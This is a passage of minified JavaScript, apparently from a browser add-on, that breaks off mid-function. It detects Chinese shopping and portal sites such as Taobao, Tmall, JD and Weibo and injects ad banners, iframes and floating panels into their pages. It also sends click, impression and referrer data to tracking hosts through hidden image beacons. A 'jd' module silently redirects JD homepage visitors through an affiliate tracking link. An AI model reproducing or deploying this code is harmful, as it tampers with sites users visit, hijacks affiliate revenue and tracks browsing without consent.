    for (var m = ["www.taobao.com", "www.tmall.com", "item.jd.com", "shop.mogujie.com", "www.meilishuo.com", "list.taobao.com", "s.taobao.com", "trade.taobao.com", "buyer.trade.taobao.com", "cart.taobao.com", "ju.taobao.com", "detail.ju.taobao.com", "buy.taobao.com", "wuliu.taobao.com", "shoucang.taobao.com", "i.taobao.com", "buy.tmall.com", "www.7k7k.com", "www.4399.com", "www.qidian.com", "user.qzone.qq.com", "item.taobao.com", "detail.tmall.com", "baoxian.taobao.com", "licai.taobao.com", "zln.taobao.com", "bijia.taotaosou.com", "www.hao123.com", "weibo.com"], n = 0; n < m.length; n++) {
        if (e === m[n]) {
            i = !0;
            break
        }
        i = !1
    }
    if (!i) return ! 1;
    var o = {
        isTBList: e === h || e === g,
        isHomeTB: "www.taobao.com" === e,
        isHomeTM: "www.tmall.com" === e,
        isTrade: "buyer.trade.taobao.com" === e || "trade.taobao.com" === e,
        isJu: "ju.taobao.com" === e,
        isJuDetail: "detail.ju.taobao.com" === e,
        isWuliu: "wuliu.taobao.com" === e,
        is7K7k: "www.7k7k.com" === e,
        is4399: "www.4399.com" === e,
        isCart: "cart.taobao.com" === e,
        isBuy: "buy.taobao.com" === e,
        isTMBuy: "buy.tmall.com" === e,
        isFav: "shoucang.taobao.com" === e,
        isITB: "i.taobao.com" === e,
        isQidian: "www.qidian.com" === e,
        isQzone: "user.qzone.qq.com" === e,
        isTbDetail: "item.taobao.com" === e,
        isTmDetail: "detail.tmall.com" === e,
        isBaoxiang: "baoxian.taobao.com" === e,
        isLicai: "licai.taobao.com" === e,
        isZln: "zln.taobao.com" === e,
        isBijia: "bijia.taotaosou.com" === e,
        isHao123: "www.hao123.com" === e,
        isWeibo: "weibo.com" === e
    };
    l.on("config.success",
    function(a, b) {
        function c(a, b) {
            d(b + "_rename_ad_success"),
            a.find(".J_icon_close").on("click",
            function() {
                a.hide(),
                d(b + "_rename_ad_close"),
                k.utils.cookie.set({
                    name: "TKshow11Icon",
                    value: !0,
                    hour: 1,
                    path: "/",
                    domain: e
                })
            }),
            a.find(".J_icon_body").on("click",
            function() {
                d(b + "_rename_ad_click")
            })
        }
        function d(a) {
            var b, c = document.createElement("img"),
            d = "//log.taotaosou.com/browser_statistics.do?type=" + a;
            "string" == typeof d && (d += d.match(/\?/) ? "&t=": "?t=", d += (new Date).getTime()),
            c.setAttribute("src", d),
            c.setAttribute("width", 0),
            c.setAttribute("height", 0),
            c.style.display = "none",
            c.onerror = null,
            document.getElementById("TK-log") ? b = document.getElementById("TK-log") : (b = document.createElement("div"), b.id = "TK-log", document.body.appendChild(b)),
            b.appendChild(c)
        }
        function f(a) {
            var b, d = a.iA.adList,
            f = j('<div style="right: 50%; position: fixed; margin-right: 510px; top: 150px;_position: absolute; _top: expression(documentElement.scrollTop + 200);"></div>'),
            h = j('<div style="left: 50%; position: fixed; margin-left: 510px; top: 150px; _position: absolute; _top: expression(documentElement.scrollTop + 200);"></div>'),
            i = null,
            m = null;
            o.is4399 ? (f.appendTo(l), h.appendTo(l), n.tmt.get(d, 236, f), n.tmt.get(d, 236, h), j(".middle_2")[0] && (b = j("<div></div>"), b.insertAfter(j(".middle_2")), n.tmt.get(d, 209, b, "none"))) : o.is7K7k ? (f.appendTo(l), h.appendTo(l), n.tmt.get(d, 237, f), n.tmt.get(d, 237, h), j(".main-top")[0] && (b = j("<div></div>"), b.insertAfter(j(".main-top").eq(0)), n.tmt.get(d, 211, b, "none"))) : o.isTbDetail ? (n.tmt.showIcon(d, 255) && g(function() {
                m = setInterval(function() {
                    j(".cqol")[0] && (i = j(".cqol"), j.getJSON(k.utils.api.kctu + "adType=0,0,1,0&keyword=0,0," + encodeURIComponent("淘宝detail头上") + ",0&adSize=0,0,120*80,0&itemSize=0,0,1,0&tbId=&pid=255&domain=" + e + "&isCps=true&cpsTbName=ttsunio&jsonp=?",
                    function(a) {
                        if (a && a.pinpai[0]) {
                            var b = '<div style="z-index: 405548810; position: absolute; margin-left: 400px;"><span class="J_icon_close" title="关闭" style="display: block; z-index: 2; position: absolute; bottom: 6px; right: 3px; text-align: center; height: 12px; width: 12px; background-color: #999; color: #fff; line-height: 10px; border-radius:10px; cursor: pointer;">x</span><a href="' + a.pinpai[0].href + '" class="J_icon_body" target="_blank"><img src="' + a.pinpai[0].media + '" alt=""></a></div>',
                            d = j(b);
                            d.css({
                                top: i.offset().top - 69,
                                left: i.offset().left
                            }).appendTo(l),
                            c(d, "TBdetail")
                        }
                    }), clearInterval(m), m = null)
                },
                200)
            }), j("#J_MainWrap")[0] && (b = j("<div></div>"), b.appendTo(j("#J_MainWrap")), n.tmt.get(d, 266, b, "none"))) : o.isTmDetail ? n.tmt.showIcon(d, 256) && g(function() {
                m = setInterval(function() {
                    j(".cqol")[0] && (i = j(".cqol"), j.getJSON(k.utils.api.kctu + "adType=0,0,1,0&keyword=0,0," + encodeURIComponent("淘宝detail头上") + ",0&adSize=0,0,120*80,0&itemSize=0,0,1,0&tbId=&pid=256&domain=" + e + "&isCps=true&cpsTbName=ttsunio&jsonp=?",
                    function(a) {
                        if (a && a.pinpai[0]) {
                            var b = '<div style="z-index: 405548810; position: absolute; margin-left: 400px;"><span class="J_icon_close" title="关闭" style="display: block; z-index: 2; position: absolute; bottom: 6px; right: 3px; text-align: center; height: 12px; width: 12px; background-color: #999; color: #fff; line-height: 10px; border-radius:10px; cursor: pointer;">x</span><a href="' + a.pinpai[0].href + '" class="J_icon_body" target="_blank"><img src="' + a.pinpai[0].media + '" alt=""></a></div>',
                            d = j(b);
                            d.css({
                                top: i.offset().top - 84,
                                left: i.offset().left
                            }).appendTo(l),
                            c(d, "TBdetail")
                        }
                    }), clearInterval(m), m = null)
                },
                200)
            }) : k.utils.siteName.isB2CDetail ? n.tmt.showIcon(d, 390) && g(function() {
                m = setInterval(function() {
                    j(".cqol")[0] && (i = j(".cqol"), j.getJSON(k.utils.api.kctu + "adType=0,0,1,0&keyword=0,0," + encodeURIComponent("淘宝detail头上") + ",0&adSize=0,0,120*80,0&itemSize=0,0,1,0&tbId=&pid=390&domain=" + e + "&isCps=true&cpsTbName=ttsunio&jsonp=?",
                    function(a) {
                        if (a && a.pinpai[0]) {
                            var b = '<div style="z-index: 405548810; position: absolute; margin-left: 400px;"><span class="J_icon_close" title="关闭" style="display: block; z-index: 2; position: absolute; bottom: 6px; right: 3px; text-align: center; height: 12px; width: 12px; background-color: #999; color: #fff; line-height: 10px; border-radius:10px; cursor: pointer;">x</span><a href="' + a.pinpai[0].href + '" class="J_icon_body" target="_blank"><img src="' + a.pinpai[0].media + '" alt=""></a></div>',
                            d = j(b);
                            d.css({
                                top: i.offset().top - 20,
                                left: i.offset().left
                            }).appendTo(l),
                            c(d, "TBdetail")
                        }
                    }), clearInterval(m), m = null)
                },
                200)
            }) : k.utils.siteName.isMLSDetail ? n.tmt.showIcon(d, 392) && g(function() {
                m = setInterval(function() {
                    j(".cqol")[0] && (i = j(".cqol"), j.getJSON(k.utils.api.kctu + "adType=0,0,1,0&keyword=0,0," + encodeURIComponent("淘宝detail头上") + ",0&adSize=0,0,120*80,0&itemSize=0,0,1,0&tbId=&pid=392&domain=" + e + "&isCps=true&cpsTbName=ttsunio&jsonp=?",
                    function(a) {
                        if (a && a.pinpai[0]) {
                            var b = '<div style="z-index: 405548810; position: absolute; margin-left: 400px;"><span class="J_icon_close" title="关闭" style="display: block; z-index: 2; position: absolute; bottom: 6px; right: 3px; text-align: center; height: 12px; width: 12px; background-color: #999; color: #fff; line-height: 10px; border-radius:10px; cursor: pointer;">x</span><a href="' + a.pinpai[0].href + '" class="J_icon_body" target="_blank"><img src="' + a.pinpai[0].media + '" alt=""></a></div>',
                            d = j(b);
                            d.css({
                                top: i.offset().top - 30,
                                left: i.offset().left
                            }).appendTo(l),
                            c(d, "TBdetail")
                        }
                    }), clearInterval(m), m = null)
                },
                200)
            }) : k.utils.siteName.isMGJDetail && n.tmt.showIcon(d, 391) && g(function() {
                m = setInterval(function() {
                    j(".cqol")[0] && (i = j(".cqol"), j.getJSON(k.utils.api.kctu + "adType=0,0,1,0&keyword=0,0," + encodeURIComponent("淘宝detail头上") + ",0&adSize=0,0,120*80,0&itemSize=0,0,1,0&tbId=&pid=391&domain=" + e + "&isCps=true&cpsTbName=ttsunio&jsonp=?",
                    function(a) {
                        if (a && a.pinpai[0]) {
                            var b = '<div style="z-index: 405548810; position: absolute; margin-left: 400px;"><span class="J_icon_close" title="关闭" style="display: block; z-index: 2; position: absolute; bottom: 6px; right: 3px; text-align: center; height: 12px; width: 12px; background-color: #999; color: #fff; line-height: 10px; border-radius:10px; cursor: pointer;">x</span><a href="' + a.pinpai[0].href + '" class="J_icon_body" target="_blank"><img src="' + a.pinpai[0].media + '" alt=""></a></div>',
                            d = j(b);
                            d.css({
                                top: i.offset().top - 84,
                                left: i.offset().left
                            }).appendTo(l),
                            c(d, "TBdetail")
                        }
                    }), clearInterval(m), m = null)
                },
                200)
            })
        }
        function g(a) {
            return a ? "true" === k.utils.cookie.get().TKshow11Icon ? !1 : void a() : !1
        }
        function h(a, b, c) {
            var d = '<iframe frameborder="0" marginheight="0" marginwidth="0" border="0" scrolling="no" width="' + a + '" height="' + b + '" src="' + c + "&height=" + b + "&width=" + a + '"></iframe>';
            return d
        }
        function i(a, b, c) {
            var d = "//showkc.taotaosou.com/brand.do?brandKeyword=" + encodeURIComponent(a) + "&keyword=" + encodeURIComponent(a) + "&brandItemSize=" + c + "&keywordType=true&source=" + b + "&brandRandom=100&adType=2&itemSize=" + c;
            return d
        }
        function m(a, b, c, d) {
            var e;
            e = j("right" === d ? '<div class="J_TTS_banner" style="float: right;"></div>': "none" === d ? '<div class="J_TTS_banner" style="float: none; margin: 0 auto;"></div>': "left" === d ? '<div class="J_TTS_banner" style="float: left;"></div>': '<div class="J_TTS_banner"></div>'),
            e.css({
                width: b.width,
                height: b.height
            }).appendTo(c),
            e.html(h(b.width, b.height, i(b.name, b.pid, b.number)))
        }
        var n = {
            tmt: {
                status: function() {
                    l.trigger("tmt.show", [b])
                },
                get: function(a, b, c, d) {
                    var e;
                    if (0 !== a.length) for (var f = 0,
                    g = a.length; g > f; f++) a[f].pid === b && (e = a[f]);
                    return "undefined" != typeof e && e.status ? void l.trigger("tmt.sync.success", [{},
                    e, c, d]) : (c.hide(), !1)
                },
                showIcon: function(a, b) {
                    var c;
                    if (0 !== a.length) for (var d = 0,
                    e = a.length; e > d; d++) a[d].pid === b && (c = a[d]);
                    return "undefined" == typeof c || !c.status || "undefined" == typeof localStorage || localStorage.getItem("show_icon") ? !1 : !0
                },
                fetch: function() {
                    l.on("tmt.show",
                    function(a, b) {
                        return b === !1 || "state" in b ? !1 : b.iA.st === !1 ? !1 : void l.trigger("tmt.status.init", [b])
                    }),
                    this.status()
                }
            }
        };
        l.one({
            "tmt.status.init": function(a, b) {
                l.on({
                    "tmt.sync.success": function(a, b, c, d, e) {
                        m(b, c, d, e)
                    }
                }),
                f(b)
            }
        }),
        n.tmt.fetch()
    })
}),
__tk2__define("view/jd", ["../utils", "../lib/jquery.min"],
function(a, b, c) {
    var d = a("../utils");
    if (!d.isManualDId) {
        var e = d.href,
        f = function() {
            var a, b, c = ["http://www.jd.com/?cu=true&utm_source=c.duomai.com&utm_medium=tuiguang&utm_campaign=t_16282_36154164&utm_term=3247cbd5dc17449a8de04ae764d9c8ee", "http://www.jd.com/?cu=true&utm_source=c.duomai.com&utm_medium=tuiguang&utm_campaign=t_16282_24949457&utm_term=127a3d58ef024a0aaff734fb1e2754ab"];
            for (a = 0, b = c.length; b > a; a++) if (e === c[a]) return ! 1;
            return e.match(/^http:\/\/www\.jd\.com\/\?.*/) ? !0 : !1
        },
        g = function() {
            document.location.href = "http://c.duomai.com/track.php?site_id=185277&aid=61&euid=&t=http%3A%2F%2Fwww.jd.com%2F"
        }; (f() && !d.cookie.get().jdTK || "http://www.jd.com/" === e) && (d.cookie.set({
            name: "jdTK",
            value: !0,
            min: 30,
            path: "/",
            domain: "www.jd.com"
        }), d.cookie.get().jdTK && g())
    }
}),
__tk2__define("view/lds", ["../utils", "../lib/jquery.min", "../lib/jsonp", "../host", "./alimama", "../lib/dragdrop", "../lib/ldsSlide", "../templates.jst"],
function(require, exports, module) {
    function side_log(a, b) {
        var c, d = 0,
        e = 0,
        f = 0,
        g = 0;
        $.each(a.recomList,
        function(a, b) {
            b.clickUrl.match(/showkc/) ? f++:b.clickUrl.match(/show\-3/) ? g++:b.clickUrl.match(/website\=(taobao|tmall)/) ? d++:e++
        }),
        utils.kLog({
            systemName: "side-show",
            showkc: f,
            media: g,
            recomt: d,
            recomb: e,
            pos: b,
            website: host.webSite,
            ref: encodeURIComponent(document.referrer)
        }),
        $(".TK-lds-item").on("click",
        function() {
            c = $(this).find("a").attr("href").match(/showkc/) ? 1 : $(this).find("a").attr("href").match(/show\-3/) ? 2 : $(this).find("a").attr("href").match(/website\=(taobao|tmall)/) ? 3 : 4,
            utils.kLog({
                systemName: "side-click",
                pos: b,
                website: host.webSite,
                type: c,
                ref: encodeURIComponent(document.referrer)
            })
        })
    }
    function Render(a) {
        return "undefined" != typeof a.recomList && a.recomList[0] ? (a.recomList.length > 9 && (a.recomList.length = 9), this.length = a.recomList.length, this.total, this.sTyp = a.resultType, this.init(a), void side_log(a, 3)) : (html = '<div id="TK-lds-default"></div>', $("#J-TK-lds-bd-con").append(html), utils.stat("ReNoresult", !0), !1)
    }
    function showAlimama() {
        var a = '<div class="TK-lds-wrap">    <div id="J-TK-lds-con" class="TK-lds-con">        <div class="TK-lds-icon"></div>        <div id="J-TK-lds-slide">            <span class="TK-lds-close">x</span>            <span id="J-TK-lds-prev" class="TK-lds-prev"></span>            <span id="J-TK-lds-next" class="TK-lds-next"></span>            <div id="J-TK-lds-hd" class="TK-lds-hd">            </div>            <div class="TK-lds-bd">                <div id="J-TK-lds-bd-con" class="TK-lds-bd-con">                </div>            </div>        </div>    </div></div>';
        $(a).appendTo(body),
        $("#J-TK-lds-bd-con").empty().append(alimama.lds),
        $("#J-TK-lds-prev, #J-TK-lds-next").css("display", "none");
        var b = $(".TK-lds-icon"),
        c = document.getElementById("J-TK-lds-con"),
        d = document.getElementById("J-TK-lds-slide");
        host.isTBDetail && (c.style.right = "42px");
        var e = new Drag(c, document.getElementById("J-TK-lds-hd")),
        f = new Drag(c, b[0], !0);
        $(".TK-lds-close").on("click",
        function() {
            $("#J-TK-lds-slide").animate({
                height: 0
            },
            "fast", "swing",
            function() {
                d.style.display = "none",
                c.style.width = "40px",
                b.show(),
                "" === c.style.left ? b.css({
                    "margin-left": "0"
                }) : b.css({
                    "margin-left": "118px"
                })
            })
        }),
        b.on("click",
        function() {
            var a = e._obj,
            g = f._divStart,
            h = Math.abs;
            0 === h(a.offsetLeft - g.x) && 0 === h(a.offsetTop - g.y) && (d.style.display = "block", c.style.width = "158px", b.hide(), $("#J-TK-lds-slide").animate({
                height: 472
            },
            "fast", "swing",
            function() {
                parseInt(c.style.left, 10) < 0 && (c.style.left = 0)
            }))
        }),
        utils.statLog_one({
            systemName: "ttk_alimama_pv",
            ref: location.href,
            source: "alimama",
            place: "findAndFind",
            type: "2"
        })
    }
    function init() {
        host.isTBCart || host.isTMCart || host.isItaobao || host.isTBFav ? body.one({
            "lds.sync.success": function(a, b) {
                new Render(b)
            }
        }) : showAlimama("b2c");
        var a, b, c, d, e, f = [],
        g = 9,
        h = function() {
            var a = "",
            b = "//recom.taotaosou.com/search/tsearch.do?callback=?&website=" + host.webSite + "&keyword=";
            if (host.isTMList) a = "" === $("#mq").val() ? document.title.replace("-天猫Tmall.com-尚天猫，就购了", "").replace("-", "") : $("#mq").val();
            else if (host.isTBList) a = $(".search-combobox-input")[0] ? $(".search-combobox-input").val() : document.title.replace(/_.+/, "");
            else if (host.isB2CList) a = document.title.match(/商品搜索/) ? $("#key").val() : document.title.replace(/\s.+/, "");
            else if (host.isMGJList) document.getElementById("category_all") ? a = $("#category_all .sub_title").text() : document.getElementById("top_nav_form") && (a = $("#top_nav_form input[name=q]").val());
            else if (host.isVipList) a = document.title.replace("【品牌 正品 低价】_唯品会", "");
            else {
                if (!host.isMLSList) return b = "//recom.taotaosou.com/sales/pluKeywordRecom.do?callback=?&guid=" + utils.GUID + "&website=taobao";
                $(".rec_nav")[0] ? a = $(".rec_nav h1").text() : document.title.match(/宝贝搜索/) && (a = document.title.replace(/-.+/, ""))
            }
            return b += encodeURIComponent(a)
        },
        i = function(a, b, c) {
            var d = "RMvMSy";
            return "//show-3.mediav.com/s?showid=" + d + "&type=1&of=4&impct=9&qhtid=114078&qhcn=" + utils.getCid() + "&jsonp=?&ref=" + encodeURIComponent(b) + "&qhtag=" + encodeURIComponent(a)
        },
        j = function() {
            getJSONP({
                url: i(a, b, ""),
                done: function(a) {
                    a[0] && (utils.statLog_one({
                        systemName: "ttk_recommend_api_pv_log",
                        cType: 4,
                        sPid: "",
                        cid: "",
                        length: a.length
                    }), a[0][0] ? $.each(a,
                    function(a, b) {
                        b[1].clickUrl = b[1].curl1,
                        b[1].ttsPicUrl = b[1].timg,
                        b[1].title = b[1].pn,
                        b[1].picUrl = b[1].timg,
                        b[1].stat = 4,
                        b[1].ttsid = 0,
                        b[1].promoPrice = b[1].price,
                        f.push(b[1])
                    }) : (a = a.slice(1), $.each(a,
                    function(a, b) {
                        b.stat = 4,
                        b.clickUrl = b.curl1,
                        b.ttsPicUrl = b.timg,
                        b.picUrl = b.timg,
                        b.title = b.pn,
                        b.ttsid = 0,
                        b.promoPrice = b.price,
                        f.push(b)
                    }))),
                    f.length < g ? ($.each(d.proList,
                    function(a, b) {
                        b.stat = 3,
                        f.push(b)
                    }), e = f, body.trigger("lds.sync.success", [{
                        recomList: e
                    }])) : (e = f, body.trigger("lds.sync.success", [{
                        recomList: e
                    }]))
                },
                fail: function() {}
            })
        },
        k = function() {
            getJSONP({
                url: h(),
                done: function(f) {
                    return f && "proList" in f && f.proList[0] ? (a = f.keyword, b = f.proList[0].clickUrl, c = f.proList[0].productCategoryCode, host.isTMList || host.isTBList || host.isB2CList ? (f.list = "http://search.taotaosou.com/search/text?keyword=" + encodeURIComponent(f.keyword), f.host = "TTS-list TTS-same-home") : (f.list = !1, f.host = "TTS-list TTS-home"), $.each(f.proList,
                    function(a, b) {
                        "jd.com" === b.webSite && (b.webSite = "jd"),
                        b.ttsPicUrl = b.ttsPicUrl.replace(/gi.+mlist/, "img")
                    }), e = d = f, void j()) : !1
                },
                fail: function() {
                    body.trigger("tk.recom.fail", ["不妙！高峰期遭遇堵车，请稍后再试。"])
                }
            })
        };
        k()
    }
    var utils = require("../utils"),
    $ = require("../lib/jquery.min"),
    getJSONP = require("../lib/jsonp"),
    host = require("../host"),
    body = $("body"),
    alimama = require("./alimama"),
    config,
    Drag = require("../lib/dragdrop"),
    LdsSlide = require("../lib/ldsSlide"),
    templates = require("../templates.jst");
    Render.prototype = {
        init: function(data) {
            var tmpl = '<div class="TK-lds-wrap">    <div id="J-TK-lds-con" class="TK-lds-con">        <div class="TK-lds-icon"></div>        <div id="J-TK-lds-slide">            <span class="TK-lds-close">x</span>            <span id="J-TK-lds-prev" class="TK-lds-prev"></span>            <span id="J-TK-lds-next" class="TK-lds-next"></span>            <div id="J-TK-lds-hd" class="TK-lds-hd">            </div>            <div class="TK-lds-bd">    <div id="J_tts_bubble_logo"><a href="http://un.taotaosou.com" class="media_bubble_logo_new" target="_blank">汇海雷达提供</a></div>            <div id="J-TK-lds-bd-con" class="TK-lds-bd-con">                </div>            </div>        </div>    </div></div>',
            _this = this;
            $(tmpl).appendTo(body);
            var length = data.recomList.length,
            total;
            switch (!0) {
            case 0 === length: total = 0;
                break;
            case 4 > length: total = 1;
                break;
            case 7 > length: total = 2;
                break;
            case 10 > length: total = 3;
                break;
            case 13 > length: total = 4
            }
            this.total = total;
            var html0 = "<ul>",
            html1 = "<ul>",
            html2 = "<ul>",
            html3 = "<ul>";
            if (total) for (var i in data.recomList) switch (!0) {
            case 3 > i: html0 += '<li class="TK-lds-item"><a title="' + data.recomList[i].title + '" href="' + data.recomList[i].clickUrl + '" target="_blank" class="TK-lds-link" data-log="{"price":"' + data.recomList[i].price + '", "promoPrice":"' + data.recomList[i].promoPrice + '", "sourceId":"' + data.recomList[i].sourceId + '"}" data-stat="' + data.recomList[i].stat + '"><img src="' + data.recomList[i].picUrl + '" alt=""/></a><p class="TK-lds-price"><span>&yen</span>' + data.recomList[i].promoPrice + "</p></li>";
                break;
            case 6 > i: html1 += '<li class="TK-lds-item"><a title="' + data.recomList[i].title + '" href="' + data.recomList[i].clickUrl + '" target="_blank" class="TK-lds-link" data-stat="' + data.recomList[i].stat + '"><img src="' + data.recomList[i].picUrl + '" alt=""/></a><p class="TK-lds-price"><span>&yen</span>' + data.recomList[i].promoPrice + "</p></li>";
                break;
            case 9 > i: html2 += '<li class="TK-lds-item"><a title="' + data.recomList[i].title + '" href="' + data.recomList[i].clickUrl + '" target="_blank" class="TK-lds-link" data-stat="' + data.recomList[i].stat + '"><img src="' + data.recomList[i].picUrl + '" alt=""/></a><p class="TK-lds-price"><span>&yen</span>' + data.recomList[i].promoPrice + "</p></li>";
                break;
            case 12 > i: html3 += '<li class="TK-lds-item"><a title="' + data.recomList[i].title + '" href="' + data.recomList[i].clickUrl + '" target="_blank" class="TK-lds-link" data-stat="' + data.recomList[i].stat + '"><img src="' + data.recomList[i].picUrl + '" alt=""/></a><p class="TK-lds-price"><span>&yen</span>' + data.recomList[i].promoPrice + "</p></li>"
            }
            html0 += "</ul>",
            html1 += "</ul>",
            html2 += "</ul>",
            html3 += "</ul>";
            for (var html = "",
            html_li = "",
            iii = 0; total > iii; iii++) html += eval("html" + iii);
            this.html = html,
            this.renderBox(),
            utils.stat("Redis", !0),
            utils.statLog_one({
                systemName: "ttk_recommend_dis_log",
                sTyp: _this.sTyp,
                sPid: "",
                sPric: "",
                sProPric: "",
                cid: "",
                Num: this.total,
                pNum: 0,
                rNum: this.length,
                rList: "",
                ptype: ""
            }),
            $(".TK-lds-wrap .media_bubble_logo_new").on("click",
            function() {
                utils.statLog_yx({
                    source: "guess"
                })
            })
        },
        renderBox: function() {
            var a = $("#J-TK-lds-bd-con"),
            b = $(".TK-lds-icon"),
            c = document.getElementById("J-TK-lds-con"),
            d = document.getElementById("J-TK-lds-slide");
            $(this.html).appendTo(a),
            new LdsSlide(c),
            this.icon = b,
            this.slideBox = d,
            this.slideCon = c,
            this.renderEvent(c)
        },
        renderEvent: function(a) {
            for (var b = this,
            c = new Drag(a, document.getElementById("J-TK-lds-hd")), d = new Drag(a, this.icon[0], !0), e = 0, f = $(".TK-lds-link"), g = 0; g < f.length; g++) $(f[g]).attr("href").match(/show-3\.mediav\.com/) && (e += 1);
            e && utils.statLog_one({
                systemName: "ttk_recommend_api_pv_log",
                cType: 4,
                sPid: "",
                cid: "",
                length: e
            }),
            $(".TK-lds-close").on("click",
            function() {
                $("#J-TK-lds-slide").animate({
                    height: 0
                },
                "fast", "swing",
                function() {
                    b.slideBox.style.display = "none",
                    b.slideCon.style.width = "40px",
                    b.icon.show(),
                    "" === b.slideCon.style.left ? b.icon.css({
                        "margin-left": "0"
                    }) : b.icon.css({
                        "margin-left": "118px"
                    }),
                    utils.stat("Reboxdis", !0)
                })
            }),
            this.icon.on("click",
            function() {
                var a = c._obj,
                e = d._divStart,
                f = Math.abs;
                0 === f(a.offsetLeft - e.x) && 0 === f(a.offsetTop - e.y) && (b.slideBox.style.display = "block", b.slideCon.style.width = "158px", b.icon.hide(), $("#J-TK-lds-slide").animate({
                    height: 472
                },
                "fast", "swing",
                function() {
                    utils.stat("Reboxclick", !0),
                    parseInt(b.slideCon.style.left, 10) < 0 && (b.slideCon.style.left = 0)
                }))
            }),
            $("#J-TK-lds-slide").on("click", ".TK-lds-link",
            function() {
                utils.stat("Reclick", !0),
                utils.statLog_one({
                    systemName: "ttk_recommend_clikc_log",
                    sTyp: b.sTyp,
                    sPid: "",
                    sPric: "",
                    sProPric: "",
                    cType: $(this).data().stat,
                    cid: "",
                    pid: "",
                    price: "",
                    cNum: $(this).index() + 1,
                    ptype: ""
                }),
                $(this).attr("href").match(/\/\/show-3\.mediav\.com\//) && utils.statLog_one({
                    systemName: "ttk_flow",
                    cType: 3,
                    ref: location.host,
                    url: encodeURIComponent($(this).attr("href"))
                })
            }),
            $("#J-TK-lds-btn").on("click", "span",
            function() {
                utils.stat("ReNext", !0),
                utils.stat("Redis", !0),
                utils.statLog_one({
                    systemName: "ttk_recommend_dis_log",
                    sTyp: b.sTyp,
                    sPid: "",
                    sPric: "",
                    sProPric: "",
                    cid: "",
                    Num: this.total,
                    pNum: $(this).index() + 1,
                    rNum: this.length,
                    rList: "",
                    ptype: ""
                })
            }),
            $("#J-TK-lds-prev, #J-TK-lds-next").on("click",
            function() {
                utils.stat("ReNext", !0),
                utils.stat("Redis", !0)
            })
        }
    },
    body.on("config.success",
    function(a, b) {
        var c = function() {
            if (!b || "state" in b) return ! 1;
            if (!b.iA || !b.iA.st) return ! 1;
            if (!b.iA.adList) return ! 1;
            var a = b.iA.adList;
            if (a[0]) for (var c = 0,
            d = a.length; d > c; c++) if (278 === a[c].pid) return a[c].status ? (2 === a[c].number && (config = !0), !0) : !1
        };
        window.TK_config.tmt.model.jiaohu && c() && init()
    })
}),
__tk2__define("view/left-banner", ["../utils", "../lib/jquery.min", "../lib/jquery.min"],
function(a, b, c) {
    function d(a) {
        var b = a.pinpai[0].href,
        c = a.pinpai[0].media,
        d = '<div id="TK-left-banner"><div id="KKT-guandiao"></div><a id="KKT-main" href="' + b + '" target="_blank"><img src="' + c + '" ></img></a></div>',
        e = d;
        h(e).insertBefore("#TK-log"),
        h("#KKT-guandiao").on("click",
        function() {
            h("#TK-left-banner").hide()
        })
    }
    function e() {
        h.getJSON("//www.gmf.com/tumeiti.php?adType=0,0,1,0&keyword=0,0,0,0&adSize=0,0,100*300,0&itemSize=0,0,1,0&tbId=&pid=383&jsonp=?",
        function(a) {
            return a.pinpai ? void d(a) : !1
        })
    }
    function f() {
        h("body").on("config.success",
        function(a, b) {
            var c = function() {
                if (!b || "state" in b) return ! 1;
                if (!b.iA || !b.iA.st) return ! 1;
                if (!b.iA.adList) return ! 1;
                var a = b.iA.adList;
                if (a.length[0]) for (var c = 0,
                d = a.length; d > c; c++) if (383 === a[c].pid) return a[c].status ? !0 : !1
            };
            c() && e()
        })
    }
    var g = {
        utils: a("../utils")
    },
    h = a("../lib/jquery.min");
    g.utils.isManualDId || f()
}),
__tk2__define("view/msg", ["../lib/jquery.min", "../utils", "../templates.jst", "../mustache_helpers", "../lib/handlebars"],
function(a, b, c) {
    function d() {
        g.utils.stat("outsite_news_hot_pv"),
        new e
    }
    function e() {
        this.init.apply(this, arguments)
    }
    var f = a("../lib/jquery.min"),
    g = {
        utils: a("../utils")
    },
    h = f("body"),
    i = a("../templates.jst");
    a("../mustache_helpers"),
    e.prototype = {
        init: function() {
            this.getData()
        },
        getData: function() {
            var a = this;
            f.getJSON("//showkc.taotaosou.com/floatnews.do?jsonp=?",
            function(b) {
                f("body").append(i["tmt/msg"](b)),
                a.renderEvent()
            })
        },
        renderEvent: function() {
            var a = this;
            this.box = f(".TK-pp-wrap"),
            this.box.css({
                top: f(window).height() / 2.5 + "px"
            }),
            this.box.find(".TK-pp-msg-news-close").on("click",
            function() {
                a.box.hide()
            }),
            this.box.on("click", "[data-tk-msg-log]",
            function(a) {
                var b = f(a.target).closest("[data-tk-msg-log]"),
                c = b.data("tk-msg-log");
                g.utils.stat(c)
            }),
            setTimeout(function() {
                a.box.hide()
            },
            15e3)
        }
    },
    h.on("config.success",
    function(a, b) {
        if (b && !("state" in b)) {
            if (1 !== b.confinformation) return ! 1;
            if ("true" !== g.utils.cookie.get().TKmsg && (g.utils.cookie.set({
                name: "TKmsg",
                value: !0,
                hour: 1,
                path: "/",
                domain: g.utils.host
            }), void 0 !== g.utils.cookie.get().TKmsg)) try {
                d()
            } catch(c) {
                console.error(c.stack)
            }
        }
    })
}),
__tk2__define("view/paopao", ["../utils", "../lib/jquery.min", "../lib/jsonp", "../templates.jst", "../lib/jquery.popunder", "../templates.jst", "../lib/jquery.popunder"],
function(a, b, c) {
    function d(a, b, c) {
        return 2 === arguments.length ? parseFloat(a.currentStyle ? a.currentStyle[b] : document.defaultView.getComputedStyle(a, !1)[b]) : void(3 === arguments.length && (a.style[b] = c + "px"))
    }
    function e(a, b, c, d, e) {
        var h = null;
        switch (a.timer && clearInterval(a.timer), c) {
        case y.BUFFER:
            h = f;
            break;
        case y.FLEX:
            h = g
        }
        a.timer = setInterval(function() {
            h(a, b, d, e)
        },
        20),
        q(".media_bubble .media_bubble_logo_new").on("click",
        function() {
            l.statLog_yx({
                source: "banner"
            })
        })
    }
    function f(a, b, c, e) {
        var f = !0,
        g = 0,
        h = "",
        i = 0;
        for (h in b) i = d(a, h),
        g = (b[h] - i) / 5,
        g = g > 0 ? Math.ceil(g) : Math.floor(g),
        b[h] !== i && (f = !1, d(a, h, i + g));
        e && e.call(a),
        f && (clearInterval(a.timer), a.timer = null, c && c.call(a))
    }
    function g(a, b, c, e) {
        var f = !0,
        g = "",
        h = 0;
        for (g in b) if (a.oSpeed || (a.oSpeed = {}), a.oSpeed[g] || (a.oSpeed[g] = 0), h = "opacity" === g ? parseInt(100 * css(a, g).toFixed(2), 10) : d(a, g), Math.abs(b[g] - h) > 1 || Math.abs(a.oSpeed[g]) > 1) {
            f = !1,
            a.oSpeed[g] += (b[g] - h) / 5,
            a.oSpeed[g] *= .7;
            var i = 65;
